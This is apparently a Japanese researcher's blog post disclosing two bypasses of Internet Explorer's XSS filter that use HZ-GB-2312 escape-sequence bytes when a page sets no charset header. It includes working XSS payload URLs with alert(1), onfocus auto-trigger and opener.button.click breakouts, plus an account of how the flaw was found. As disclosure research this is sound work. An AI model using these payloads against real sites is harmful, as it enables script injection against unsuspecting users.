--------------------------------------------------------
HZ-GB-2312という文字コードのエスケープシーケンスにあたるバイト、
~[0x0A]
と~{
を使ってIEのXSSフィルターをバイパスできることに気付いたので紹介します。この手法はページの
Content-Type
レスポンスヘッダで文字コードが指定されていない時限定で使えます。バイパス 1
以下にIEでアクセスしてAAAにマウスを移動し、XSSフィルターに遮断されずにアラートが出ることを確認してください。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
以下のようにすればユーザインタラクションなしにもできます。
http://vulnerabledoma.in/char_test?body=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
XSSフィルターは、
Content-Type
レスポンスヘッダで文字コードが指定されていないとき、HZ-GB-2312のエスケープシーケンスにあたるバイト列を特別扱いしているようです。 (多分、昔、文字コードの自動選択でHZ-GB-2312が選択されていた時に、エスケープシーケンスをうまく攻撃文字列の間に挟んだりするとバイパスできる場合があったりしたために、こんな風に特別扱いして、で、なんかうまくいってないと推測します。 今は、少なくとも日本語のシステムロケールでは、HZ-GB-2312は自動選択されないはず。)属性を区切る文字がくるところに
~[0x0A]
を置くと遮断に失敗します。charsetが
Content-Type
レスポンスヘッダで適切に指定されたページでは、以下のように適切にフィルターされます。http://vulnerabledoma.in/char_test?charset=utf-8&body=%3Cx~%0Aonmouseover=alert(1)%3EAAA
ただし、
Content-Type
レスポンスヘッダでなくmeta
タグだけでcharsetを指定した場合だとまだ動きます。http://vulnerabledoma.in/xssable?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
バイパス 2
以下にアクセスし、「go」ボタンをクリックすると、XSS脆弱性がある文字列リテラル部から、
click()
が呼び出されることが確認できます。(※click()
が呼び出される側はドキュメントモードが古くないとエラーになります。)http://l0.cm/xssfilter_hz_poc.html
次のようなコードから
click()
が呼び出されています。http://vulnerabledoma.in/xss_js?q=%22%3B~{valueOf:opener.button.click}//
<script>var q="";~{valueOf:opener.button.click}//"</script>
これも通常なら、以下のように
";{valueOf:
という文字列で遮断が起こるのですが、http://vulnerabledoma.in/char_test?body=%22%3B{valueOf:
~{
というHZ-GB-2312のエスケープシーケンスが間に入ってきていることで遮断に失敗します。valueOf
の代わりにtoString
も使えます。http://vulnerabledoma.in/xss_js?q=%22%3B~{toString:opener.button.click}//
<script>var q="";~{toString:opener.button.click}//"</script>この2つの手法、まず
";~{valueOf:}//
がなぜか遮断されないことに気付いたのが発見のきっかけです。最初はHZ-GB-2312が関係してるとは思わなかったのですが、どうみてもmshtml.dll内の正規表現には合致するのにおかしいと思って、みていくと遮断されないのが~{
が入っているときだけだったので、HZ-GB-2312が関係していると勘付きました。じゃあ他にもエスケープシーケンスが入ったらうまく遮断されないケースがあるのではないかとみていったところ、バイパス1のケースにも気付きました。文字コード関係のことには普通の人よりは触れてきたので、自分だからこそ気付けた問題だったかもしれません。